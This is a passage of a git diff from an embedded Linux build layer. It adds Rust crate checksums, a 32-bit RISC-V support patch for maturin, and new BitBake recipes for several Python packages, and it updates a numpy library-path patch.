+SRC_URI[rustls-webpki-0.101.7.sha256sum] = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765"
+SRC_URI[rustversion-1.0.14.sha256sum] = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4"
+SRC_URI[ryu-1.0.15.sha256sum] = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741"
+SRC_URI[same-file-1.0.6.sha256sum] = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
+SRC_URI[schannel-0.1.22.sha256sum] = "0c3733bf4cf7ea0880754e19cb5a462007c4a8c1914bff372ccc95b464f1df88"
+SRC_URI[scopeguard-1.2.0.sha256sum] = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+SRC_URI[scroll-0.11.0.sha256sum] = "04c565b551bafbef4157586fa379538366e4385d42082f255bfd96e4fe8519da"
+SRC_URI[scroll_derive-0.11.1.sha256sum] = "1db149f81d46d2deba7cd3c50772474707729550221e69588478ebf9ada425ae"
+SRC_URI[sct-0.7.1.sha256sum] = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414"
+SRC_URI[security-framework-2.9.2.sha256sum] = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de"
+SRC_URI[security-framework-sys-2.9.1.sha256sum] = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a"
+SRC_URI[semver-1.0.20.sha256sum] = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090"
+SRC_URI[serde-1.0.193.sha256sum] = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89"
+SRC_URI[serde_derive-1.0.193.sha256sum] = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3"
+SRC_URI[serde_json-1.0.108.sha256sum] = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b"
+SRC_URI[serde_spanned-0.6.4.sha256sum] = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80"
+SRC_URI[sha2-0.10.8.sha256sum] = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
+SRC_URI[sharded-slab-0.1.7.sha256sum] = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
+SRC_URI[shell-words-1.1.0.sha256sum] = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde"
+SRC_URI[shlex-1.2.0.sha256sum] = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380"
+SRC_URI[similar-2.3.0.sha256sum] = "2aeaf503862c419d66959f5d7ca015337d864e9c49485d771b732e2a20453597"
+SRC_URI[smallvec-1.11.2.sha256sum] = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970"
+SRC_URI[smawk-0.3.2.sha256sum] = "b7c388c1b5e93756d0c740965c41e8822f866621d41acbdf6336a6a168f8840c"
+SRC_URI[snapbox-0.4.14.sha256sum] = "4b377c0b6e4715c116473d8e40d51e3fa5b0a2297ca9b2a931ba800667b259ed"
+SRC_URI[snapbox-macros-0.3.6.sha256sum] = "ed1559baff8a696add3322b9be3e940d433e7bb4e38d79017205fd37ff28b28e"
+SRC_URI[socks-0.3.4.sha256sum] = "f0c3dbbd9ae980613c6dd8e28a9407b50509d3803b57624d5dfe8315218cd58b"
+SRC_URI[spin-0.9.8.sha256sum] = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
+SRC_URI[stacker-0.1.15.sha256sum] = "c886bd4480155fd3ef527d45e9ac8dd7118a898a46530b7b94c3e21866259fce"
+SRC_URI[static_assertions-1.1.0.sha256sum] = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
+SRC_URI[strsim-0.10.0.sha256sum] = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
+SRC_URI[syn-1.0.109.sha256sum] = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
+SRC_URI[syn-2.0.39.sha256sum] = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a"
+SRC_URI[tar-0.4.40.sha256sum] = "b16afcea1f22891c49a00c751c7b63b2233284064f11a200fc624137c51e2ddb"
+SRC_URI[target-lexicon-0.12.12.sha256sum] = "14c39fd04924ca3a864207c66fc2cd7d22d7c016007f9ce846cbb9326331930a"
+SRC_URI[tempfile-3.8.1.sha256sum] = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5"
+SRC_URI[termcolor-1.4.0.sha256sum] = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449"
+SRC_URI[terminal_size-0.2.6.sha256sum] = "8e6bf6f19e9f8ed8d4048dc22981458ebcf406d67e94cd422e5ecd73d63b3237"
+SRC_URI[textwrap-0.16.0.sha256sum] = "222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d"
+SRC_URI[thiserror-1.0.50.sha256sum] = "f9a7210f5c9a7156bb50aa36aed4c95afb51df0df00713949448cf9e97d382d2"
+SRC_URI[thiserror-impl-1.0.50.sha256sum] = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8"
+SRC_URI[thread_local-1.1.7.sha256sum] = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152"
+SRC_URI[time-0.3.30.sha256sum] = "c4a34ab300f2dee6e562c10a046fc05e358b29f9bf92277f30c3c8d82275f6f5"
+SRC_URI[time-core-0.1.2.sha256sum] = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
+SRC_URI[time-macros-0.2.15.sha256sum] = "4ad70d68dba9e1f8aceda7aa6711965dfec1cac869f311a51bd08b3a2ccbce20"
+SRC_URI[tinyvec-1.6.0.sha256sum] = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
+SRC_URI[tinyvec_macros-0.1.1.sha256sum] = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
+SRC_URI[toml-0.5.11.sha256sum] = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
+SRC_URI[toml-0.8.8.sha256sum] = "a1a195ec8c9da26928f773888e0742ca3ca1040c6cd859c919c9f59c1954ab35"
+SRC_URI[toml_datetime-0.6.5.sha256sum] = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1"
+SRC_URI[toml_edit-0.20.7.sha256sum] = "70f427fce4d84c72b5b732388bf4a9f4531b53f74e2887e3ecb2481f68f66d81"
+SRC_URI[toml_edit-0.21.0.sha256sum] = "d34d383cd00a163b4a5b85053df514d45bc330f6de7737edfe0a93311d1eaa03"
+SRC_URI[tracing-0.1.40.sha256sum] = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
+SRC_URI[tracing-attributes-0.1.27.sha256sum] = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
+SRC_URI[tracing-core-0.1.32.sha256sum] = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
+SRC_URI[tracing-log-0.2.0.sha256sum] = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
+SRC_URI[tracing-serde-0.1.3.sha256sum] = "bc6b213177105856957181934e4920de57730fc69bf42c37ee5bb664d406d9e1"
+SRC_URI[tracing-subscriber-0.3.18.sha256sum] = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
+SRC_URI[trycmd-0.14.19.sha256sum] = "ed009372a42fb103e6f8767b9222925485e03cca032b700d203e2c5b67bee4fb"
+SRC_URI[twox-hash-1.6.3.sha256sum] = "97fee6b57c6a41524a810daee9286c02d7752c4253064d0b05472833a438f675"
+SRC_URI[typenum-1.17.0.sha256sum] = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
+SRC_URI[unicase-2.7.0.sha256sum] = "f7d2d4dafb69621809a81864c9c1b864479e1235c0dd4e199924b9742439ed89"
+SRC_URI[unicode-bidi-0.3.13.sha256sum] = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460"
+SRC_URI[unicode-ident-1.0.12.sha256sum] = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+SRC_URI[unicode-linebreak-0.1.5.sha256sum] = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f"
+SRC_URI[unicode-normalization-0.1.22.sha256sum] = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921"
+SRC_URI[unicode-width-0.1.11.sha256sum] = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85"
+SRC_URI[untrusted-0.9.0.sha256sum] = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1"
+SRC_URI[ureq-2.9.1.sha256sum] = "f8cdd25c339e200129fe4de81451814e5228c9b771d57378817d6117cc2b3f97"
+SRC_URI[url-2.5.0.sha256sum] = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633"
+SRC_URI[utf8parse-0.2.1.sha256sum] = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
+SRC_URI[uuid-1.6.1.sha256sum] = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560"
+SRC_URI[valuable-0.1.0.sha256sum] = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
+SRC_URI[vcpkg-0.2.15.sha256sum] = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
+SRC_URI[version_check-0.9.4.sha256sum] = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
+SRC_URI[versions-5.0.1.sha256sum] = "c73a36bc44e3039f51fbee93e39f41225f6b17b380eb70cc2aab942df06b34dd"
+SRC_URI[wait-timeout-0.2.0.sha256sum] = "9f200f5b12eb75f8c1ed65abd4b2db8a6e1b138a20de009dacee265a2498f3f6"
+SRC_URI[walkdir-2.4.0.sha256sum] = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee"
+SRC_URI[wasi-0.11.0+wasi-snapshot-preview1.sha256sum] = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+SRC_URI[webpki-roots-0.25.3.sha256sum] = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10"
+SRC_URI[which-5.0.0.sha256sum] = "9bf3ea8596f3a0dd5980b46430f2058dfe2c36a27ccfbb1845d6fbfcd9ba6e14"
+SRC_URI[wild-2.2.0.sha256sum] = "10d01931a94d5a115a53f95292f51d316856b68a035618eb831bbba593a30b67"
+SRC_URI[winapi-0.3.9.sha256sum] = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+SRC_URI[winapi-i686-pc-windows-gnu-0.4.0.sha256sum] = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+SRC_URI[winapi-util-0.1.6.sha256sum] = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596"
+SRC_URI[winapi-x86_64-pc-windows-gnu-0.4.0.sha256sum] = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+SRC_URI[windows-sys-0.45.0.sha256sum] = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
+SRC_URI[windows-sys-0.48.0.sha256sum] = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+SRC_URI[windows-sys-0.52.0.sha256sum] = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+SRC_URI[windows-targets-0.42.2.sha256sum] = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
+SRC_URI[windows-targets-0.48.5.sha256sum] = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+SRC_URI[windows-targets-0.52.0.sha256sum] = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd"
+SRC_URI[windows_aarch64_gnullvm-0.42.2.sha256sum] = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
+SRC_URI[windows_aarch64_gnullvm-0.48.5.sha256sum] = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+SRC_URI[windows_aarch64_gnullvm-0.52.0.sha256sum] = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea"
+SRC_URI[windows_aarch64_msvc-0.42.2.sha256sum] = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
+SRC_URI[windows_aarch64_msvc-0.48.5.sha256sum] = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+SRC_URI[windows_aarch64_msvc-0.52.0.sha256sum] = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef"
+SRC_URI[windows_i686_gnu-0.42.2.sha256sum] = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
+SRC_URI[windows_i686_gnu-0.48.5.sha256sum] = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+SRC_URI[windows_i686_gnu-0.52.0.sha256sum] = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313"
+SRC_URI[windows_i686_msvc-0.42.2.sha256sum] = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
+SRC_URI[windows_i686_msvc-0.48.5.sha256sum] = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+SRC_URI[windows_i686_msvc-0.52.0.sha256sum] = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a"
+SRC_URI[windows_x86_64_gnu-0.42.2.sha256sum] = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
+SRC_URI[windows_x86_64_gnu-0.48.5.sha256sum] = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+SRC_URI[windows_x86_64_gnu-0.52.0.sha256sum] = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd"
+SRC_URI[windows_x86_64_gnullvm-0.42.2.sha256sum] = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
+SRC_URI[windows_x86_64_gnullvm-0.48.5.sha256sum] = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+SRC_URI[windows_x86_64_gnullvm-0.52.0.sha256sum] = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e"
+SRC_URI[windows_x86_64_msvc-0.42.2.sha256sum] = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
+SRC_URI[windows_x86_64_msvc-0.48.5.sha256sum] = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
+SRC_URI[windows_x86_64_msvc-0.52.0.sha256sum] = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04"
+SRC_URI[winnow-0.5.19.sha256sum] = "829846f3e3db426d4cee4510841b71a8e58aa2a76b1132579487ae430ccd9c7b"
+SRC_URI[xattr-1.0.1.sha256sum] = "f4686009f71ff3e5c4dbcf1a282d0a44db3f021ba69350cd42086b3e5f1c6985"
+SRC_URI[xwin-0.5.0.sha256sum] = "c43e0202f5457b48558096cb7b36d0e473f267551a89c82ed72d73b01dfd4007"
+SRC_URI[yansi-0.5.1.sha256sum] = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec"
+SRC_URI[zerocopy-0.7.28.sha256sum] = "7d6f15f7ade05d2a4935e34a457b936c23dc70a05cc1d97133dc99e7a3fe0f0e"
+SRC_URI[zerocopy-derive-0.7.28.sha256sum] = "dbbad221e3f78500350ecbd7dfa4e63ef945c05f4c61cb7f4d3f84cd0bba649b"
+SRC_URI[zeroize-1.7.0.sha256sum] = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d"
+SRC_URI[zip-0.6.6.sha256sum] = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261"
diff --git a/meta/recipes-devtools/python/python3-maturin/0001-Add-32-bit-RISC-V-support.patch b/meta/recipes-devtools/python/python3-maturin/0001-Add-32-bit-RISC-V-support.patch
new file mode 100644
index 0000000000..a0ef0c9e22
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-maturin/0001-Add-32-bit-RISC-V-support.patch
@@ -0,0 +1,102 @@
+From a945706bd610c5400fc85a248d5e0c96ebd2e953 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 27 Feb 2024 10:38:49 -0800
+Subject: [PATCH] Add 32-bit RISC-V support
+
+Tested with qemuriscv32 and it builds fine with all tests passed on a
+qemu machine.
+
+Upstream-Status: Submitted [https://github.com/PyO3/maturin/pull/1969]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/target.rs | 11 ++++++++++-
+ 1 file changed, 10 insertions(+), 1 deletion(-)
+
+diff --git a/src/target.rs b/src/target.rs
+index fbb93531..33fa9273 100644
+--- a/src/target.rs
++++ b/src/target.rs
+@@ -69,6 +69,7 @@ pub enum Arch {
+ X86_64,
+ S390X,
+ Wasm32,
++ Riscv32,
+ Riscv64,
+ Mips64el,
+ Mips64,
+@@ -91,6 +92,7 @@ impl fmt::Display for Arch {
+ Arch::X86_64 => write!(f, "x86_64"),
+ Arch::S390X => write!(f, "s390x"),
+ Arch::Wasm32 => write!(f, "wasm32"),
++ Arch::Riscv32 => write!(f, "riscv32"),
+ Arch::Riscv64 => write!(f, "riscv64"),
+ Arch::Mips64el => write!(f, "mips64el"),
+ Arch::Mips64 => write!(f, "mips64"),
+@@ -115,7 +117,7 @@ impl Arch {
+ Arch::Powerpc | Arch::Powerpc64Le | Arch::Powerpc64 => "powerpc",
+ Arch::X86 => "i386",
+ Arch::X86_64 => "amd64",
+- Arch::Riscv64 => "riscv",
++ Arch::Riscv32 | Arch::Riscv64 => "riscv",
+ Arch::Mips64el | Arch::Mips64 | Arch::Mipsel | Arch::Mips => "mips",
+ // sparc64 is unsupported since FreeBSD 13.0
+ Arch::Sparc64 => "sparc64",
+@@ -139,6 +141,7 @@ fn get_supported_architectures(os: &Os) -> Vec<Arch> {
+ Arch::S390X,
+ Arch::X86,
+ Arch::X86_64,
++ Arch::Riscv32,
+ Arch::Riscv64,
+ Arch::Mips64el,
+ Arch::Mips64,
+@@ -158,6 +161,7 @@ fn get_supported_architectures(os: &Os) -> Vec<Arch> {
+ Arch::Powerpc64Le,
+ Arch::X86,
+ Arch::X86_64,
++ Arch::Riscv32,
+ Arch::Riscv64,
+ Arch::Mips64el,
+ Arch::Mipsel,
+@@ -171,6 +175,7 @@ fn get_supported_architectures(os: &Os) -> Vec<Arch> {
+ Arch::Powerpc,
+ Arch::Powerpc64,
+ Arch::Powerpc64Le,
++ Arch::Riscv32,
+ Arch::Riscv64,
+ Arch::Sparc64,
+ ],
+@@ -255,6 +260,7 @@ impl Target {
+ Architecture::Powerpc64le => Arch::Powerpc64Le,
+ Architecture::S390x => Arch::S390X,
+ Architecture::Wasm32 => Arch::Wasm32,
++ Architecture::Riscv32(_) => Arch::Riscv32,
+ Architecture::Riscv64(_) => Arch::Riscv64,
+ Architecture::Mips64(mips64_arch) => match mips64_arch {
+ Mips64Architecture::Mips64el => Arch::Mips64el,
+@@ -343,6 +349,7 @@ impl Target {
+ Arch::X86_64 => "x86_64",
+ Arch::S390X => "s390x",
+ Arch::Wasm32 => "wasm32",
++ Arch::Riscv32 => "riscv32",
+ Arch::Riscv64 => "riscv64",
+ // It's kinda surprising that Python doesn't include the `el` suffix
+ Arch::Mips64el | Arch::Mips64 => "mips64",
+@@ -388,6 +395,7 @@ impl Target {
+ }
+ Arch::Armv6L
+ | Arch::Wasm32
++ | Arch::Riscv32
+ | Arch::Riscv64
+ | Arch::Mips64el
+ | Arch::Mips64
+@@ -418,6 +426,7 @@ impl Target {
+ | Arch::Wasm32
+ | Arch::Mipsel
+ | Arch::Mips
++ | Arch::Riscv32
+ | Arch::Powerpc => 32,
+ }
+ }
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/python/python3-maturin_1.4.0.bb b/meta/recipes-devtools/python/python3-maturin_1.4.0.bb
new file mode 100644
index 0000000000..ed19ee647a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-maturin_1.4.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Build and publish crates with pyo3, rust-cpython, cffi bindings and rust binaries as python packages"
+HOMEPAGE = "https://github.com/pyo3/maturin"
+SECTION = "devel/python"
+LICENSE = "MIT | Apache-2.0"
+LIC_FILES_CHKSUM = "file://license-apache;md5=1836efb2eb779966696f473ee8540542 \
+ file://license-mit;md5=85fd3b67069cff784d98ebfc7d5c0797"
+
+SRC_URI += "file://0001-Add-32-bit-RISC-V-support.patch"
+SRC_URI[sha256sum] = "ed12e1768094a7adeafc3a74ebdb8dc2201fa64c4e7e31f14cfc70378bf93790"
+
+S = "${WORKDIR}/maturin-${PV}"
+
+CFLAGS:append = " -fdebug-prefix-map=${CARGO_HOME}=${TARGET_DBGSRC_DIR}/cargo_home"
+
+DEPENDS += "\
+ python3-setuptools-rust-native \
+ python3-semantic-version-native \
+ python3-setuptools-rust \
+"
+
+require ${BPN}-crates.inc
+
+inherit pypi cargo-update-recipe-crates python_pyo3 python_setuptools_build_meta
+
+do_configure() {
+ python_pyo3_do_configure
+ cargo_common_do_configure
+ python_pep517_do_configure
+}
+
+RDEPENDS:${PN} += "\
+ cargo \
+ python3-json \
+ rust \
+"
+
+RRECOMMENDS:${PN} += "\
+ python3-ensurepip \
+ python3-pip \
+ python3-venv \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-meson-python_0.15.0.bb b/meta/recipes-devtools/python/python3-meson-python_0.15.0.bb
new file mode 100644
index 0000000000..ad3cfe17d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-meson-python_0.15.0.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Meson Python build backend (PEP 517)"
+HOMEPAGE = "https://github.com/mesonbuild/meson-python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d580b27e67cc0892a5b005b0be114b60"
+
+DEPENDS = " \
+ meson-native \
+ ninja-native \
+ patchelf-native \
+ python3-pyproject-metadata-native \
+"
+
+PYPI_PACKAGE = "meson_python"
+
+inherit pypi python_mesonpy
+SRC_URI[sha256sum] = "fddb73eecd49e89c1c41c87937cd89c2d0b65a1c63ba28238681d4bd9484d26f"
+
+DEPENDS:remove:class-native = "python3-meson-python-native"
+
+RDEPENDS:${PN} = " \
+ meson \
+ ninja \
+ patchelf \
+ python3-pyproject-metadata \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-more-itertools/run-ptest b/meta/recipes-devtools/python/python3-more-itertools/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-more-itertools/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-more-itertools_10.2.0.bb b/meta/recipes-devtools/python/python3-more-itertools_10.2.0.bb
new file mode 100644
index 0000000000..e1e1f5e18f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-more-itertools_10.2.0.bb
@@ -0,0 +1,29 @@
+SUMMARY = "More routines for operating on iterables, beyond itertools"
+HOMEPAGE = "https://github.com/erikrose/more-itertools"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3396ea30f9d21389d7857719816f83b5"
+
+SRC_URI[sha256sum] = "8fccb480c43d3e99a00087634c06dd02b0d50fbf088b380de5a41a015ec239e1"
+
+inherit pypi python_flit_core ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN} += " \
+ python3-asyncio \
+ "
+
+RDEPENDS:${PN}-ptest += " \
+ python3-statistics \
+ python3-pytest \
+ python3-unittest-automake-output \
+ "
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-ndg-httpsclient_0.5.1.bb b/meta/recipes-devtools/python/python3-ndg-httpsclient_0.5.1.bb
new file mode 100644
index 0000000000..68d8668a41
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-ndg-httpsclient_0.5.1.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Provides enhanced HTTPS support for httplib and urllib2 using PyOpenSSL"
+HOMEPAGE = "https://github.com/cedadev/ndg_httpsclient/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://MANIFEST.in;md5=ce22c0cd986d2de3f7073cd6b5523ae0"
+
+SRC_URI[md5sum] = "b0fc8ea38f87d2c1ab1ed79a95c078f9"
+SRC_URI[sha256sum] = "d72faed0376ab039736c2ba12e30695e2788c4aa569c9c3e3d72131de2592210"
+
+inherit pypi setuptools3 update-alternatives
+
+PYPI_PACKAGE = "ndg_httpsclient"
+
+DEPENDS += " \
+ python3-pyopenssl \
+ python3-pyasn1 \
+"
+
+RDEPENDS:${PN} += " \
+ python3-datetime \
+ python3-logging \
+ python3-pyopenssl \
+ python3-pyasn1 \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = ""
+
+ALTERNATIVE:${PN} = "ndg_httpclient"
+ALTERNATIVE_LINK_NAME[ndg_httpclient] = "${bindir}/ndg_httpclient"
+ALTERNATIVE_PRIORITY = "30"
diff --git a/meta/recipes-devtools/python/python3-nose_1.3.7.bb b/meta/recipes-devtools/python/python3-nose_1.3.7.bb
deleted file mode 100644
index 13dbf96179..0000000000
--- a/meta/recipes-devtools/python/python3-nose_1.3.7.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-inherit setuptools3
-require python-nose.inc
diff --git a/meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch b/meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
index cdb6a473d2..bbe309c556 100644
--- a/meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
+++ b/meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
@@ -1,4 +1,4 @@
-From 27f6687e49bf555fc494d2f14bae6ecd0fa30f14 Mon Sep 17 00:00:00 2001
+From 46eea664cf89d0602e7ff16d587c37c045b125b7 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 10 Dec 2015 13:20:30 +0200
Subject: [PATCH] Don't search /usr and so on for libraries by default to
@@ -10,14 +10,14 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- numpy/distutils/system_info.py | 42 ++++------------------------------
- 1 file changed, 5 insertions(+), 37 deletions(-)
+ numpy/distutils/system_info.py | 42 +++++-----------------------------
+ 1 file changed, 6 insertions(+), 36 deletions(-)
diff --git a/numpy/distutils/system_info.py b/numpy/distutils/system_info.py
-index 3a6a7b2..6c2c3da 100644
+index feb28f6..a48d6d1 100644
--- a/numpy/distutils/system_info.py
+++ b/numpy/distutils/system_info.py
-@@ -309,45 +309,13 @@ if sys.platform == 'win32':
+@@ -327,44 +327,14 @@ def add_system_root(library_root):
add_system_root(os.path.join(conda_dir, 'Library'))
else:
@@ -25,7 +25,7 @@ index 3a6a7b2..6c2c3da 100644
- '/opt/local/lib', '/sw/lib'], platform_bits)
default_runtime_dirs = []
- default_include_dirs = ['/usr/local/include',
-- '/opt/include', '/usr/include',
+- '/opt/include',
- # path of umfpack under macports
- '/opt/local/include/ufsparse',
- '/opt/local/include', '/sw/include',
@@ -34,8 +34,7 @@ index 3a6a7b2..6c2c3da 100644
-
- default_x11_lib_dirs = libpaths(['/usr/X11R6/lib', '/usr/X11/lib',
- '/usr/lib'], platform_bits)
-- default_x11_include_dirs = ['/usr/X11R6/include', '/usr/X11/include',
-- '/usr/include']
+- default_x11_include_dirs = ['/usr/X11R6/include', '/usr/X11/include']
-
- if os.path.exists('/usr/lib/X11'):
- globbed_x11_dir = glob('/usr/lib/*/libX11.so')
